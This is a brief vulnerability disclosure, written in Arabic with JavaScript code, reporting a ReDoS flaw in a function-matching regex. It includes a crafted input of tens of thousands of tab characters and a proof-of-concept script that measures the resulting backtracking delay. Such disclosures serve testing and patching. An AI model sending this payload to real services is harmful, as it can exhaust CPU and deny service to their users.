
redos
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
يمكن استغلال هذه الثغرة عند وجود عدم توازن في الأقواس، مما يؤدي إلى تتبع خلفي مفرط وبالتالي زيادة حمل وحدة المعالجة المركزية ووقت المعالجة بشكل كبير. يمكن تشغيل هذه الثغرة باستخدام المدخلات التالية:
'\t'.repeat(54773) + '\t/function/i'
إليك كود PoC بسيط لتوضيح المشكلة:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");